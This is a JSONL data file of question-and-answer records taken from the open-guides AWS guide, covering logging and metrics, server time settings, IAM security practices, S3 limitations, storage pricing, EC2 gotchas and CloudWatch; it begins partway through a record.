have special needs, it makes sense to use hosted services whenever possible, since setting up your own scalable log processing systems is notoriously time consuming.\n-\t**Track and graph metrics:** The AWS Console can show you simple graphs from CloudWatch, you typically will want to track and graph many kinds of metrics, from CloudWatch and your applications. Collect and export helpful metrics everywhere you can (and as long as volume is manageable enough you can afford it).\n\t-\tServices like [Librato](https://www.librato.com/), [KeenIO](https://keen.io/), and [Datadog](https://www.datadoghq.com/) have fancier features or better user interfaces that can save a lot of time. (A more detailed comparison is [here](http://blog.takipi.com/production-tools-guide/visualization-and-metrics/).)\n\t-\tUse [Prometheus](https://prometheus.io) or [Graphite](https://github.com/graphite-project/graphite-web) as timeseries databases for your metrics (both are open source).\n\t-\t[Grafana](https://github.com/grafana/grafana) can visualize with dashboards the stored metrics of both timeseries databases (also open source).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977279"}
{"id": "gh_f05729ba2d7d", "question": "How to: Tips for Managing Servers", "question_body": "About open-guides/og-aws", "answer": "-\t❗**Timezone settings on servers**: unless *absolutely necessary*, always **set the timezone on servers to [UTC](https://en.wikipedia.org/wiki/Coordinated_Universal_Time)** (see instructions for your distribution, such as [Ubuntu](https://www.digitalocean.com/community/tutorials/how-to-set-up-timezone-and-ntp-synchronization-on-ubuntu-14-04-quickstart), [CentOS](https://www.vultr.com/docs/setup-timezone-and-ntp-on-centos-6) or [Amazon](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/set-time.html) Linux). Numerous distributed systems rely on time for synchronization and coordination and UTC [provides](https://blog.serverdensity.com/set-your-server-timezone-to-utc/) the universal reference plane: it is not subject to  daylight savings changes and adjustments in local time. It will also save you a lot of headache debugging [elusive timezone issues](http://yellerapp.com/posts/2015-01-12-the-worst-server-setup-you-can-make.html) and provide coherent timeline of events in your logging and audit systems.\n-\t**NTP and accurate time:** If you are not using Amazon Linux (which comes preconfigured), you should confirm your servers [configure NTP correctly](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/set-time.html#configure_ntp), to avoid insidious time drift (which can then cause all sorts of issues, from breaking API calls to misleading logs). This should be part of your automatic configuration for every server. If time has already drifted substantially (generally >1000 seconds), remember NTP won’t shift it back, so you may need to remediate manually (for example, [like this](http://askubuntu.com/questions/254826/how-to-force-a-clock-update-using-ntp) on Ubuntu).\n-\t**Testing immutable infrastructure:** If you want to be proactive about testing your service’s ability to cope with instance termination or failure, it can be helpful to introduce random instance termination during business hours, which will expose any such issues at a time when engineers are available to identify and fix them. Netflix’s [Simian Army](https://github.com/Netflix/SimianArmy) (specifically, [Chaos Monkey](https://github.com/Netflix/SimianArmy/wiki/Chaos-Monkey)) is a popular tool for this. Alternatively, [chaos-lambda](https://github.com/bbc/chaos-lambda) by the BBC is a lightweight option which runs on AWS [Lambda](#lambda).\n\nSecurity and IAM\n----------------\n\nWe cover security basics first, since configuring user accounts is something you usually have to do early on when setting up your system.", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977288"}
{"id": "gh_9eee76a1291f", "question": "How to: Security and IAM Tips", "question_body": "About open-guides/og-aws", "answer": "-\t🔹Use IAM to create individual user accounts and **use IAM accounts for all users from the beginning**. This is slightly more work, but not that much.\n\t-\tThat way, you define different users, and groups with different levels of privilege (if you want, choose from Amazon’s default suggestions, of administrator, power user, etc.).\n\t-\tThis allows credential revocation, which is critical in some situations. If an employee leaves, or a key is compromised, you can revoke credentials with little effort.\n\t-\tYou can set up [Active Directory federation](https://blogs.aws.amazon.com/security/post/Tx71TWXXJ3UI14/Enabling-Federation-to-AWS-using-Windows-Active-Directory-ADFS-and-SAML-2-0) to use organizational accounts in AWS.\n-\t❗**Enable [MFA](https://aws.amazon.com/iam/details/mfa/)** on your account.\n\t-\tYou should always use MFA, and the sooner the better — enabling it when you already have many users is extra work.\n\t-\tUnfortunately it can’t be enforced in software, so an administrative policy has to be established.\n\t-\tMost users can use the Google Authenticator app (on [iOS](https://itunes.apple.com/us/app/google-authenticator/id388497605) or [Android](https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2)) to support two-factor authentication. For the root account, consider a hardware fob.\n- ❗Restrict use of significant IAM credentials as much as possible. Remember that in the cloud, loss of a highly capable IAM credential could essentially mean “game over,” for your deployment, your users, or your whole company.\n  -\t**Do NOT use the [Root User account](http://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)** other than when you initially create your account.  Create custom IAM users and/or roles and use those for your applications instead.\n\t- Lock up access and use of the root credentials as much as possible. Ideally they should be effectively “offline.” For critical deployments, this means attached to an actual MFA device, physically secured and rarely used.\n-\t❗**Turn on CloudTrail:** One of the first things you should do is [enable CloudTrail](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-create-a-trail-using-the-console-first-time.html). Even if you are not a security hawk, there is little reason not to do this from the beginning, so you have data on what has been happening in your AWS account should you need that information. You’ll likely also want to set up a [log management service](#visibility) to search and access these logs.\n-\t🔹**Use IAM roles for EC2:** Rather than assign IAM users to applications like services and then sharing the sensitive credentials, [define and assign roles to EC2 instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html) and have applications retrieve credentials from the [instance metadata](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html).\n-\tAssign IAM roles by realm — for example, to development, staging, and production. If you’re setting up a role, it should be tied to a specific realm so you have clean separation. This prevents, for example, a development instance from connecting to a production database.\n-\t**Best practices:** AWS’ [list of best practices](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html) is worth reading in full up front.\n-\t**IAM Reference:** [This interactive reference for all IAM actions, effects, and resources](https://iam.cloudonaut.io/) is great to have open while writing new or trying to understand existing IAM policies.\n-\t**Multiple accounts:** Decide on whether you want to use multiple AWS accounts and [research](https://dab35129f0361dca3159-2fe04d8054667ffada6c4002813eccf0.ssl.cf1.rackcdn.com/downloads/pdfs/Rackspace%20Best%20Practices%20for%20AWS%20-%20Identity%20Managment%20-%20Billing%20-%20Auditing.pdf) how to organize access across them. Factors to consider:\n\t-\tNumber of users\n\t-\tImportance of isolation\n\t\t-\tResource Limits\n\t\t-\tPermission granularity\n\t\t-\tSecurity\n\t\t-\tAPI Limits\n\t-\tRegulatory issues\n\t-\tWorkload\n\t-\tSize of infrastructure\n\t-\tCost of multi-account “overhead”: Internal AWS service management tools may need to be custom built or adapted.\n\t-\t🔹It can help to use separate AWS accounts for independent parts of your infrastructure if you expect a high rate of AWS API calls, since AWS [throttles calls](http://docs.aws.amazon.com/AWSEC2/latest/APIReference/query-api-troubleshooting.html#api-request-rate) at the AWS account level.\n-\t[**Inspector**](https://aws.amazon.com/inspector/) is an automated security assessment service from AWS that helps identify common security risks. This allows validation that you adhere to certain security practices and may help with compliance.\n-\t[**Trusted Advisor**](https://aws.amazon.com/blogs/aws/trusted-advisor-console-basic/) addresses a variety of best practices, but also offers some basic security checks around IAM usage, security group configurations, an", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977330"}
{"id": "gh_fb35a95747c7", "question": "How to: Security and IAM Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t❗**Don’t share user credentials:** It’s remarkably common for first-time AWS users to create one account and one set of credentials (access key or password), and then use them for a while, sharing among engineers and others within a company. This is easy. But *don’t do this*. This is an insecure practice for many reasons, but in particular, if you do, you will have reduced ability to revoke credentials on a per-user or per-service basis (for example, if an employee leaves or a key is compromised), which can lead to serious complications.\n-\t❗**Instance metadata throttling:** The [instance metadata service](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) has rate limiting on API calls. If you deploy IAM roles widely (as you should!) and have lots of services, you may hit global account limits easily.\n\t-\tOne solution is to have code or scripts cache and reuse the credentials locally for a short period (say 2 minutes). For example, they can be put into the ~/.aws/credentials file but must also be refreshed automatically.\n\t-\tBut be careful not to cache credentials for too long, as [they expire](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html#instance-metadata-security-credentials). (Note the other [dynamic metadata](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#dynamic-data-categories) also changes over time and should not be cached a long time, either.)\n-\t🔸Some IAM operations are slower than other API calls (many seconds), since AWS needs to propagate these globally across regions.\n-\t❗The uptime of IAM’s API has historically been lower than that of the instance metadata API. Be wary of incorporating a dependency on IAM’s API into critical paths or subsystems — for example, if you validate a user’s IAM group membership when they log into an instance and aren’t careful about precaching group membership or maintaining a back door, you might end up locking users out altogether when the API isn’t available.\n-\t❗**Don't check in AWS credentials or secrets to a git repository.** There are bots that scan GitHub looking for credentials. Use scripts or tools, such as [git-secrets](https://github.com/awslabs/git-secrets) to prevent anyone on your team from checking in sensitive information to your git repositories.\n\nS3\n--", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977342"}
{"id": "gh_a9b21149b3c8", "question": "How to: S3 Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-   ❗S3 buckets sit outside the VPC and can be accessed from anywhere in the world if bucket policies are not set to deny it. Read the permissions section above carefully, there are countless cases of buckets exposed to the public.\n-\t🔸For many years, there was a notorious [**100-bucket limit**](https://docs.aws.amazon.com/general/latest/gr/aws_service_limits.html#limits_s3) per account, which could not be raised and caused many companies significant pain. As of 2015, you can [request increases](https://aws.amazon.com/about-aws/whats-new/2015/08/amazon-s3-introduces-new-usability-enhancements/). You can ask to increase the limit, but it will still be capped (generally below ~1000 per account).\n-\t🔸Be careful not to make implicit assumptions about transactionality or sequencing of updates to objects. Never assume that if you modify a sequence of objects, the clients will see the same modifications in the same sequence, or if you upload a whole bunch of files, that they will all appear at once to all clients.\n-\t🔸S3 has an [**SLA**](https://aws.amazon.com/s3/sla/) with 99.9% uptime. If you use S3 heavily, you’ll inevitably see occasional error accessing or storing data as disks or other infrastructure fail. Availability is usually restored in seconds or minutes. Although availability is not extremely high, as mentioned above, durability is excellent.\n-\t🔸After uploading, any change that you make to the object causes a full rewrite of the object, so avoid appending-like behavior with regular files.\n-\t🔸Eventual data consistency, as discussed above, can be surprising sometimes. If S3 suffers from internal replication issues, an object may be visible from a subset of the machines, depending on which S3 endpoint they hit. Those usually resolve within seconds; however, we’ve seen isolated cases when the issue lingered for 20-30 hours.\n-\t🔸**MD5s and multi-part uploads:** In S3, the [ETag header in S3](http://docs.aws.amazon.com/AmazonS3/latest/API/RESTCommonResponseHeaders.html) is a hash on the object. And in many cases, it is the MD5 hash. However, this [is not the case in general](http://stackoverflow.com/questions/12186993/what-is-the-algorithm-to-compute-the-amazon-s3-etag-for-a-file-larger-than-5gb) when you use multi-part uploads. One workaround is to compute MD5s yourself and put them in a custom header (such as is done by [s4cmd](https://github.com/bloomreach/s4cmd)).\n-\t🔸**Incomplete multi-part upload costs:** Incomplete multi-part uploads accrue [storage charges](http://docs.aws.amazon.com/AmazonS3/latest/dev/mpuoverview.html#mpuploadpricing) even if the upload fails and no S3 object is created. [Amazon](http://docs.aws.amazon.com/AmazonS3/latest/dev/mpuoverview.html#mpu-abort-incomplete-mpu-lifecycle-config) ([and](http://www.deplication.net/2016/06/aws-tip-save-s3-costs-with-abort.html) [others](https://www.sumologic.com/aws/s3/s3-cost-optimization/)) recommend using a lifecycle policy to clean up incomplete uploads and save on storage costs. Note that if you have many of these, it may be worth investigating whatever's failing regularly.\n-\t🔸**US Standard region:** Previously, the us-east-1 region (also known as the US Standard region) was replicated across coasts, which led to greater variability of latency. Effective Jun 19, 2015 this is [no longer the case](https://forums.aws.amazon.com/ann.jspa?annID=3112). All Amazon S3 regions now support read-after-write consistency. Amazon S3 also renamed the US Standard region to the US East (N. Virginia) region to be consistent with AWS regional naming conventions.\n- 🔸**S3 authentication versions and regions:** In newer regions, S3 [only supports the latest authentication](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingAWSSDK.html#specify-signature-version). If an S3 file operation using CLI or SDK doesn't work in one region, but works correctly in another region, make sure you are using the latest [authentication signature](https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977396"}
{"id": "gh_e56dc40d48a2", "question": "How to: Storage Durability, Availability, and Price", "question_body": "About open-guides/og-aws", "answer": "As an illustration of comparative features and price, the table below gives S3 Standard, RRS, IA, in comparison with [Glacier](#glacier), [EBS](#ebs), [EFS](#efs), and EC2 d2.xlarge instance store using **Virginia region** as of **Sept 2017**.\n\n|                 | Durability (per year)  | Availability “designed” | Availability SLA | Storage (per TB per month)                                                                                               | GET or retrieve (per million) | Write or archive (per million) |\n|-----------------|------------------------|-------------------------|------------------|--------------------------------------------------------------------------------------------------------------------------|-------------------------------|--------------------------------|\n| **Glacier**     | Eleven 9s              | Sloooow                 | –                | $4                                                                                                                       | $50                           | $50                            |\n| **S3 IA**       | Eleven 9s              | 99.9%                   | **99%**          | $12.50                                                                                                                   | $1                            | $10                            |\n| ~~**S3 RRS**~~      | ~~**99.99%**~~             | ~~99.99%~~                  | ~~99.9%~~            | ~~$24 (first TB)~~                                                                                                                      | ~~$0.40~~                         | ~~$5~~                             |\n| **S3 Standard** | Eleven 9s              | 99.99%                  | 99.9%            | $23                                                                                                                     | $0.40                         | $5                             |\n| **EBS**         | **99.8%**              | Unstated                | 99.99%           | $25/$45/**$100**/$125+ ([sc1/st1/**gp2**/io1](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html)\\) |                               |                                |\n| **EFS**         | “High”                 | “High”                  | –                | $300                                                                                                                     |                               |                                |\n| **EC2 d2.xlarge instance store**  | Unstated | Unstated                | –                | $25.44                                                                                                                   | $0                            | $0                             |\n\nEspecially notable items are in **boldface**. Sources: [S3 pricing](https://aws.amazon.com/s3/pricing/), [S3 SLA](https://aws.amazon.com/s3/sla/), [S3 FAQ](https://aws.amazon.com/s3/faqs/), [RRS info](https://aws.amazon.com/s3/reduced-redundancy/) (note that this is considered deprecated), [Glacier pricing](https://aws.amazon.com/glacier/pricing/), [EBS availability and durability](https://aws.amazon.com/ebs/details/#Amazon_EBS_Availability_and_Durability), [EBS pricing](https://aws.amazon.com/ebs/pricing/), [EFS pricing](https://aws.amazon.com/efs/pricing/), [EC2 SLA](https://aws.amazon.com/ec2/sla/)\n\nEC2\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977408"}
{"id": "gh_36ece1868dc6", "question": "How to: EC2 Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/ec2/) ∙ [Documentation](https://aws.amazon.com/documentation/ec2/) ∙ [FAQ](https://aws.amazon.com/ec2/faqs/) ∙ [Pricing](https://aws.amazon.com/ec2/pricing/) (see also [ec2instances.info](http://www.ec2instances.info/)\\)\n-\t**EC2** (Elastic Compute Cloud) is AWS’ offering of the most fundamental piece of cloud computing: A [virtual private server](https://en.wikipedia.org/wiki/Virtual_private_server). These “instances” can run [most Linux, BSD, and Windows operating systems](https://aws.amazon.com/ec2/faqs/#What_operating_system_environments_are_supported). Internally, they've used a heavily modified [Xen](https://en.wikipedia.org/wiki/Xen) virtualization. That said, new instance classes are being introduced with a KVM derived hypervisor instead, called [Nitro](http://www.brendangregg.com/blog/2017-11-29/aws-ec2-virtualization-2017.html). So far, this is limited to the C5 and M5 instance types. Lastly, there's a \"bare metal hypervisor\" available for [i3.metal instances](https://aws.amazon.com/about-aws/whats-new/2018/05/announcing-general-availability-of-amazon-ec2-bare-metal-instances/)\n-\tThe term “EC2” is sometimes used to refer to the servers themselves, but technically refers more broadly to a whole collection of supporting services, too, like load balancing (CLBs/ALBs/NLBs), IP addresses (EIPs), bootable images (AMIs), security groups, and network drives (EBS) (which we discuss individually in this guide).\n-\t**💸[EC2 pricing](https://aws.amazon.com/ec2/pricing/)** and **[cost management](#ec2-cost-management)** is a complicated topic. It can range from free (on the [AWS free tier](https://aws.amazon.com/free/)) to a lot, depending on your usage. Pricing is by instance type, by second or hour, and changes depending on AWS region and whether you are purchasing your instances [On-Demand](https://aws.amazon.com/ec2/pricing/on-demand/), on the [Spot market](https://aws.amazon.com/ec2/spot/) or pre-purchasing ([Reserved Instances](https://aws.amazon.com/ec2/pricing/reserved-instances/)).\n- **Network Performance:** For some instance types, AWS uses general terms like Low, Medium, and High to refer to network performance. Users have done [benchmarking](http://stackoverflow.com/questions/18507405/ec2-instance-typess-exact-network-performance) to provide expectations for what these terms can mean.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977419"}
{"id": "gh_4323d53fbbb2", "question": "How to: EC2 Alternatives and Lock-In", "question_body": "About open-guides/og-aws", "answer": "-\tRunning EC2 is akin to running a set of physical servers, as long as you don’t do automatic scaling or tooled cluster setup. If you just run a set of static instances, migrating to another VPS or dedicated server provider should not be too hard.\n-\t🚪**Alternatives to EC2:** The direct alternatives are Google Cloud, Microsoft Azure, Rackspace, DigitalOcean, AWS's own Lightsail offering, and other VPS providers, some of which offer similar APIs for setting up and removing instances. (See the comparisons [above](#when-to-use-aws).)\n-\t**Should you use Amazon Linux?** AWS encourages use of their own [Amazon Linux](https://aws.amazon.com/amazon-linux-ami/), which is evolved from [Red Hat Enterprise Linux (RHEL)](https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux) and [CentOS](https://en.wikipedia.org/wiki/CentOS). It’s used by many, but [others are skeptical](https://www.exratione.com/2014/08/do-not-use-amazon-linux/). Whatever you do, think this decision through carefully. It’s true Amazon Linux is heavily tested and better supported in the unlikely event you have deeper issues with OS and virtualization on EC2. But in general, many companies do just fine using a standard, non-Amazon Linux distribution, such as Ubuntu or CentOS. Using a standard Linux distribution means you have an exactly replicable environment should you use another hosting provider instead of (or in addition to) AWS. It’s also helpful if you wish to test deployments on local developer machines running the same standard Linux distribution (a practice that’s getting more common with Docker, too. Amazon now supports an official [Amazon Linux Docker image](http://docs.aws.amazon.com/AmazonECR/latest/userguide/amazon_linux_container_image.html), aimed at assisting with local development on a comparable environment, though this is new enough that it should be considered experimental). Note that the currently-in-testing [Amazon Linux 2](https://aws.amazon.com/about-aws/whats-new/2017/12/introducing-amazon-linux-2/) supports on-premise deployments explicitly.\n-\t**EC2 costs:** See the [section on this](#ec2-cost-management).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977429"}
{"id": "gh_860c818dc112", "question": "How to: EC2 Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t❗Never use ssh passwords. Just don’t do it; they are too insecure, and consequences of compromise too severe. Use keys instead. [Read up on this](https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys--2) and fully disable ssh password access to your ssh server by making sure 'PasswordAuthentication no' is in your /etc/ssh/sshd_config file. If you’re careful about managing ssh private keys everywhere they are stored, it is a major improvement on security over password-based authentication.\n-\t🔸For all [newer instance types](https://aws.amazon.com/amazon-linux-ami/instance-type-matrix/), when selecting the AMI to use, be sure you select the HVM AMI, or it just won’t work.\n-\t❗When creating an instance and using a new ssh key pair, [make sure the ssh key permissions are correct](http://stackoverflow.com/questions/1454629/aws-ssh-access-permission-denied-publickey-issue).\n-\t🔸Sometimes certain EC2 instances can get scheduled for retirement by AWS due to “detected degradation of the underlying hardware,” in which case you are given a couple of weeks to migrate to a new instance\n \t-\tIf your instance root device is an EBS volume, you can typically stop and then start the instance which moves it to healthy host hardware, giving you control over timing of this event. Note however that you will lose any instance store volume data ([ephemeral drives](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/InstanceStorage.html)) if your instance type has instance store volumes.\n \t-\tThe instance public IP (if it has one) will likely change unless you're using Elastic IPs. This could be a problem if other systems depend on the IP address.\n-\t🔸Periodically you may find that your server or load balancer is receiving traffic for (presumably) a previous EC2 server that was running at the same IP address that you are handed out now (this may not matter, or it can be fixed by migrating to another new instance).\n-\t❗If the EC2 API itself is a critical dependency of your infrastructure (e.g. for automated server replacement, custom scaling algorithms, etc.) and you are running at a large scale or making many EC2 API calls, make sure that you understand when they might fail (calls to it are [rate limited](http://docs.aws.amazon.com/AWSEC2/latest/APIReference/query-api-troubleshooting.html#api-request-rate) and the limits are not published and subject to change) and code and test against that possibility.\n-\t❗Many newer EC2 instance types are either EBS-only, or backed by local NVMe disks assigned to the instance. Make sure to factor in EBS performance and costs when planning to use them.\n-\t❗If you're operating at significant scale, you may wish to break apart API calls that enumerate all of your resources, and instead operate either on individual resources, or a subset of the entire list. EC2 APIs will time out! Consider using [filters](https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instances.html) to restrict what gets returned.\n-\t❗⏱ Instances come in two types: **Fixed Performance Instances** (e.g. M3, C3, and R3) and [**Burstable Performance Instances**](https://aws.amazon.com/ec2/instance-types/#burst) (e.g. T2). A T2 instance receives CPU credits continuously, the rate of which depends on the instance size. T2 instances accrue CPU credits when they are idle, and use CPU credits when they are active. However, once an instance runs out of credits, you'll notice a severe degradation in performance. If you need consistently high CPU performance for applications such as video encoding, high volume websites or HPC applications, it is recommended to use Fixed Performance Instances.\n-\tInstance user-data is [limited to 16 KB](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-add-user-data). (This limit applies to the data in raw form, not base64-encoded form.) If more data is needed, it can be downloaded from S3 by a user-data script.\n-\tVery new accounts may not be able to launch some instance types, such as GPU instances, because of an initially imposed “soft limit” of zero. This limit can be raised by making a support request. See [AWS Service Limits](http://docs.aws.amazon.com/general/latest/gr/aws_service_limits.html) for the method to make the support request. Note that this limit of zero is [not currently documented](http://docs.aws.amazon.com/general/latest/gr/aws_service_limits.html#limits_ec2).\n- Since multiple AWS instances all run on the same physical hardware, early cloud adopters encountered what became known as the [Noisy Neighbor problem](https://searchcloudcomputing.techtarget.com/definition/noisy-neighbor-cloud-computing-performance). This feeling of not getting what you are paying for led to [user frustration](https://twitter.com/technicallyjosh/status/668963405831651328), however \"steal\" may not be the best word to describe what's actually happening based on a [detailed explanation of how the kernel determine steal time](https://support.cloud.engineya", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977461"}
{"id": "gh_580a1d826c09", "question": "How to: CloudWatch Basics", "question_body": "About open-guides/og-aws", "answer": "* 📒  [Homepage](https://aws.amazon.com/cloudwatch/) ∙ [Documentation](https://aws.amazon.com/documentation/cloudwatch/) ∙ [FAQ](https://aws.amazon.com/cloudwatch/faqs/) ∙ [Pricing](https://aws.amazon.com/cloudwatch/pricing/)\n* **CloudWatch** monitors resources and applications, captures logs, and sends events.\n* CloudWatch monitoring is the standard mechanism for keeping tabs on AWS resources. A wide range of  [**metrics and dimensions**](http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CW_Support_For_AWS.html) are available via CloudWatch, allowing you to create time based graphs, **[alarms](http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html)**, and **[dashboards](http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Dashboards.html)**.\n    * Alarms are the most practical use of CloudWatch, allowing you to trigger notifications from any given metric.\n    * Alarms can trigger [SNS notifications](http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/ConsoleAlarms.html), [Auto Scaling actions](http://docs.aws.amazon.com/autoscaling/latest/userguide/policy_creating.html), or [EC2 actions](http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/UsingAlarmActions.html).\n    * Alarms also support [alerting when any M out of N datapoints cross the alarm threshold](https://aws.amazon.com/about-aws/whats-new/2017/12/amazon-cloudwatch-alarms-now-alerts-you-when-any-m-out-of-n-metric-datapoints-in-an-interval-are-above-your-threshold/).\n    * Publish and share graphs of metrics by creating [customizable dashboard views](https://aws.amazon.com/blogs/aws/cloudwatch-dashboards-create-use-customized-metrics-views/).\n\t\t* Monitor and report on EC2 [instance system check failure alarms](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-system-instance-status-check.html#creating_status_check_alarms).\n* **Using CloudWatch Events:**\n    * Events create a mechanism to automate actions in various services on AWS. You can create [event rules](http://docs.aws.amazon.com/AmazonCloudWatch/latest/events/EventTypes.html) from instance states, AWS APIs, Auto Scaling, Run commands, deployments or time-based schedules (think Cron).\n    * [Triggered events](http://docs.aws.amazon.com/AmazonCloudWatch/latest/events/CWE_GettingStarted.html) can invoke Lambda functions, send SNS/SQS/Kinesis messages, or perform instance actions (terminate, restart, stop, or snapshot volumes).\n    * Custom payloads can be sent to targets in JSON format, this is especially useful when triggering Lambdas.\n* **Using CloudWatch Logs:**\n    * [CloudWatch Logs](http://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/WhatIsCloudWatchLogs.html) is a streaming log storage system. By storing logs within AWS you have access to unlimited paid storage, but you also have the option of streaming logs directly to ElasticSearch or custom Lambdas.\n    * A [log agent installed](http://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/CWL_GettingStarted.html) on your servers will process logs over time and send them to CloudWatch Logs.\n    * You can [export logged data to S3](http://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/S3Export.html) or stream results to other AWS services.\n    * CloudWatch Logs can be [encrypted using keys managed through KMS](http://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/encrypt-log-data-kms.html).\n* **Detailed monitoring:** [Detailed monitoring](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch-new.html) for EC2 instances must be enabled to get granular metrics, and is [billed under CloudWatch](https://aws.amazon.com/cloudwatch/pricing/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977475"}
{"id": "gh_36f86b18819b", "question": "How to: CloudWatch Alternatives and Lock-In", "question_body": "About open-guides/og-aws", "answer": "* CloudWatch offers fairly basic functionality that doesn't create significant (additional) AWS lock-in. Most of the metrics provided by the service can be obtained through APIs that can be imported into other aggregation or visualization tools or services (many specifically provide CloudWatch data import services).\n* 🚪 Alternatives to CloudWatch monitoring services include [NewRelic](http://newrelic.com/), [Datadog](http://datadog.com/), [Sumo Logic](http://sumologic.com/), [Zabbix](http://zabbix.com/), [Nagios](http://nagios.org/), [Ruxit](http://ruxit.com/), [Elastic Stack](https://www.elastic.co/elk-stack), open source options such as [StatsD](https://github.com/etsy/statsd) or [collectd](https://collectd.org/) with [Graphite](https://graphiteapp.org/), and many others.\n* 🚪 CloudWatch Log alternatives include [Splunk](http://splunk.com/), [Sumo Logic](http://sumologic.com/), [Loggly](http://loggly.com/), [LogDNA](https://logdna.com/), [Logstash](https://www.elastic.co/products/logstash), [Papertrail](https://papertrailapp.com/), [Elastic Stack](https://www.elastic.co/elk-stack), and other centralized logging solutions.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977483"}
